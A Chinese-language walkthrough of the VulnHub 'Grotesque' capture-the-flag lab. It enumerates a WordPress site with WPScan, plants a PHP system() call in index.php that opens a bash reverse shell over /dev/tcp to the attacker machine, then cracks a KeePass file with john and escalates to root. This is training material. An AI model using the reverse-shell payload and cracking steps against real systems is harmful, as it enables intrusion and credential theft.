渗透环境
攻击机: IP: 192.168.10.18(Kali)
靶机: IP:192.168.10.9
靶机下载地址:https://www.vulnhub.com/entry/grotesque-101,658/
涉及知识点:WordPress扫描(WPScan)、WrodPress反弹shell、Keypass文件解密
进行渗透
一、 获取端口信息
nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。
nmap -O -sV -p- -A 192.168.10.9
开放了66和80端口。
二、 寻找WEB漏洞
直接访问80端口,返回404,无法登录。
访问66端口,可正常访问。点击红框下载文件
解压后,在_vvmlist
中有很多内容大致相同的文件,这里通过读取该路径下所有文件的内容,并去除重复行,得到80端口的路径
cat ./_vvmlist/* | sort | uniq
sort:将输出内容排序
uniq:去除相同行
成功访问,并且可以看到CMS为WrodPress
扫描该路径
dirsearch -u http://192.168.10.9/lyricsblog/
其中wp-login.php
是用户登录的文件。
WPScan是一款用于WordPress的扫描器,可以对用户等进行扫描。
wpscan --url http://192.168.10.9/lyricsblog/ -e at -e ap -e u
-e at:启用枚举插件(at 是 authors 的缩写)。它会列出目标网站上所有的作者信息。这对于发现可能存在的弱密码或错误配置的帐户很有用。
-e ap:启用枚举插件(ap 是 plugins 的缩写)。它会列出目标网站上使用的插件信息。通过这一步可以找到目标网站上是否存在已知的漏洞。
-e u:启用枚举插件(u 是 users 的缩写)。它会列出目标网站上的所有用户。这有助于发现是否有公开的管理员或其他用户账户,可能被用于后续的攻击。
得到用户名:erdalkomurcu
至于密码,简单来说就是根据歌词文件的MD5值得到的,脑洞比较大,可以看一下别的文章,这里就不赘述,直接给出密码:BC78C6AB38E114D6135409E44F7CDDA2
使用得到的用户和密码在wp-login.php
进行登录。登录后写入反弹shell的语句。这里可以选择任意一个php文件写入,我选择写入index.php
(在写入反弹shell语句之前,可以测试phpinfo()
是否可以执行)
system("bash -c 'bash -i >& /dev/tcp/192.168.10.18/4444 0>&1'");
kali启动端口监听4444端口,访问 http://192.168.10.9/lyricsblog 即可反弹shell
nc -nlvp 4444
查看wp-config.php
,看到用户raphael
,密码为_double_trouble_
切换到/home
目录下,看到存在用户raphael
,尝试切换用户,成功登录
第一个flag就在/home/raphael/user.txt
中
三、 提权
在/home/raphael/
路径下还有隐藏文件chadroot.kdbx
知识点:kdbx
文件是由软件KeePass
导出的密钥文件,可以将所有的密码都加密存储在这个文件中。只需要一个主密钥,即可解密该密钥文件,得到所有密码。
keepass2john是一个辅助工具,它用于从 KeePass 数据库 (.kdbx) 文件中提取哈希值,以便 John the Ripper 进行破解。
john是 John the Ripper 的主程序,负责使用不同的破解策略(如字典攻击、暴力破解等)对提取的哈希值进行破解,以尝试恢复原始密码。
先将该文件传输到kali上,靶机启动简易传输服务
python3 -m http.server 8000
kali下载该文件
wget 192.168.10.9:8000/.chadroot.kdbx
提取哈希值,将哈希值写入文件hash.txt
keepass2john .chadroot.kdbx > hash.txt
指定字典破解密码(初次使用该字典需要解压: gzip -d /usr/share/wordlists/rockyou.txt.gz)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
得到主密钥:chatter
登录网站:https://app.keeweb.info/
选择打开kdbx文件,输入密钥chatter
,即可得到所有密码
使用第三个密码,即可成功切换到root用户。密码为:.:.subjective.:.
第二个flag就在/root/root.txt